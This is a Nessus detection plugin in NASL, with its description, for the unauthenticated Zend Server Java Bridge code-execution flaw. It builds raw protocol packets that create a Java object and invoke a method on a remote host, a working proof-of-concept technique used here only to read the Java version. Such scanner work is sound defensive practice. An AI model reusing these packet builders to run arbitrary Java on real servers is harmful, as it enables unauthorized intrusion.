Zend Server Java Bridge Arbitrary Java Code Execution

2011-04-22T00:00:00
ID ZEND_SERVER_JAVA_BRIDGE_CODE_EXEC.NASL
Type nessus
Reporter Tenable
Modified 2018-11-15T00:00:00

Description

Zend Server Java Bridge, a service that lets PHP applications use Java code, has an arbitrary code execution vulnerability. The service accepts requests to execute Java code without authentication.

A remote, unauthenticated attacker could exploit this to execute arbitrary Java code.

                                        
                                            #
# (C) Tenable Network Security, Inc.
#


include("compat.inc");


if (description)
{
  script_id(53533);
  script_version("1.11");
  script_cvs_date("Date: 2018/11/15 20:50:24");

  script_bugtraq_id(47060);
  script_xref(name:"EDB-ID", value:"17078");
  script_xref(name:"EDB-ID", value:"17148");

  script_name(english:"Zend Server Java Bridge Arbitrary Java Code Execution");
  script_summary(english:"Tries to execute Java");

  script_set_attribute(
    attribute:"synopsis",
    value:"The remote service has a code execution vulnerability."
  );
  script_set_attribute(
    attribute:"description",
    value:
"Zend Server Java Bridge, a service that lets PHP applications use
Java code, has an arbitrary code execution vulnerability.  The service
accepts requests to execute Java code without authentication. 

A remote, unauthenticated attacker could exploit this to execute
arbitrary Java code."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://www.zerodayinitiative.com/advisories/ZDI-11-113/"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://seclists.org/bugtraq/2011/Mar/277"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.nessus.org/u?0c9a77c7"
  );
  script_set_attribute(
    attribute:"solution",
    value:
"Apply the hofix provided by the vendor.

If the hotfix is already applied, ensure access to the service is
restricted using the 'zend.javamw.ip' system property."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:ND");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Zend Server Java Bridge Arbitrary Java Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"vuln_publication_date", value:"2011/03/24");
  script_set_attribute(attribute:"patch_publication_date", value:"2011/03/24");
  script_set_attribute(attribute:"plugin_publication_date", value:"2011/04/22");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"Misc.");

  script_copyright(english:"This script is Copyright (C) 2011-2018 Tenable Network Security, Inc.");

  script_require_ports(10001);

  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("byte_func.inc");


global_var port;

##
# makes a CreateObject request packet
#
# @anonparam  class  class name of the instance to be created
#
# @return a CreateObject packet
##
function create_object_req()
{
  local_var class, action, req;
  class = _FCT_ANON_ARGS[0];
  action = 'CreateObject';

  req =
    '\x00\x00\x00\x00' + # ?
    mkdword(strlen(action)) + action +
    '\x00\x00\x00\x02' + # ?
    '\x04' + # ?
    mkdword(strlen(class)) + class +
    '\x07' + # ?
    '\x00\x00\x00\x00';
  req = make_request(req);

  return req;
}

##
# makes a request packet for invoking a method
#
# @param  obj_id  object ID of the instance containing the method to be invoked
# @param  method  the method to invoke
# @param  arg     the argument to pass to 'method' (assumes there is one arg and it's a string)
#
# @return a method invocation request packet
##
function invoke_method_req(obj_id, method, arg)
{
  local_var req;

  req =
    obj_id +
    mkdword(strlen(method)) + method +
    '\x00\x00\x00\x01' + # ?
    '\x04' + # ?
    mkdword(strlen(arg)) + arg;
  req = make_request(req);

  return req;
}

##
# Creates a Java Bridge request packet (adds a 4 byte size header)
#
# @anonparam  payload  payload of the request packet to create
#
# @return the generated request packet
##
function make_request()
{
  local_var payload, req;
  payload = _FCT_ANON_ARGS[0];
  req = mkdword(strlen(payload)) + payload;

  return req;
}

##
# Processes a Java Bridge response packet (strips the header and returns the payload)
#
# This function will exit() if it encounters any errors
#
# @anonparam  sock  socket where the response data can be read from
#
# @return the data received from the server, minus the header
##
function process_response()
{
  local_var sock, len, data;
  sock = _FCT_ANON_ARGS[0];

  len = recv(socket:sock, length:4);
  if (strlen(len) != 4)
    exit(1, 'Error reading packet length from port ' + port + '.');

  len = getdword(blob:len, pos:0);
   
  #
  # Do not process responses bigger than 10Mb
  #
  if ( len >= 10*1024*1024 ) 
    exit(1, 'Packet length advertised on port ' + port + ' is too big.');

  data = recv(socket:sock, length:len);
  if (strlen(data) != len)
    exit(1, 'Unexpected amount of data received from port ' + port + '.');

  return data;
}


# plugin starts here

# The patch makes the service listen on localhost rather than
# all interfaces, so we'll skip localhost to avoid FPs
if (islocalhost()) exit(1, 'Can\'t test against localhost.');

port = 10001;
if (known_service(port:port)) exit(0, 'The service on port '+port+' was already identified.');
if (!get_tcp_port_state(port)) exit(0, "Port "+port+" is not open.");

soc = open_sock_tcp(port);
if (!soc)
exit(1, "Failed to open a socket on port "+port+".");

# first create the object
# $system = new Java("java.lang.System")
class = 'java.lang.System';
new_req = create_object_req(class);
send(socket:soc, data:new_req);
res = process_response(soc);
if (strlen(res) != 5 || res[0] != '\x05')
  exit(0, 'Unexpected response to first request from port '+port+' (probably not Java Bridge).');

object_id = substr(res, 1, 4);

# Then invoke a method, proving we can execute arbitrary Java
# $system->getProperty("java.version")
method = 'getProperty';
arg = 'java.version';
req = invoke_method_req(obj_id:object_id, method:method, arg:arg);
send(socket:soc, data:req);
res = process_response(soc);

# Clean up (deallocate/GC/whatever our object and send a 'reset')
req = '\xff\xff\xff\xff' + mkdword(strlen('delObject')) + 'delObject' + '\x00\x00\x00\x01\x02' + object_id;
req = make_request(req);
send(socket:soc, data:req);
del_res = recv(socket:soc, length:5);

# should return a pkt header + null byte. if we get something
# unexpected, close the socket without sending the reset
if (isnull(del_res) || strlen(del_res) != 5 || del_res[4] != '\x00')
{
  close(soc);
}
else
{
  req = '\xff\xff\xff\xff' + mkdword(strlen('reset')) + 'reset' + '\x00\x00\x00\x00';
  req = make_request(req);
  send(socket:soc, data:req);
  rst_res = recv(socket:soc, length:5);
  # the server should return a pkt header + null byte,
  # but we don't care what it does at this point
  close(soc);
}

# Check the response from the method invocation
if (res[0] != '\x04')
  exit(1, 'Unexpected response to getProperty() on port '+port+'.');

ver_len = getdword(blob:res, pos:1);
ver = substr(res, 5, 4 + ver_len);

if (ver_len != strlen(ver))
  exit(1, 'Unexpected packet size in getProperty() response on port '+port+'.');

# If we made it this far, we successfully executed the method,
# which also means we've detected the service
register_service(port:port, proto:"java_bridge");

if (report_verbosity > 0)
{
  report =
    '\nNessus was able to get the JRE version number by executing Java' +
    '\non the remote host :\n' +
    '\n  Method call  : ' + class +'.'+ method+'("'+arg+'")' +
    '\n  Return value : ' + ver + '\n';
  security_hole(port:port, extra:report);
}
else security_hole(port);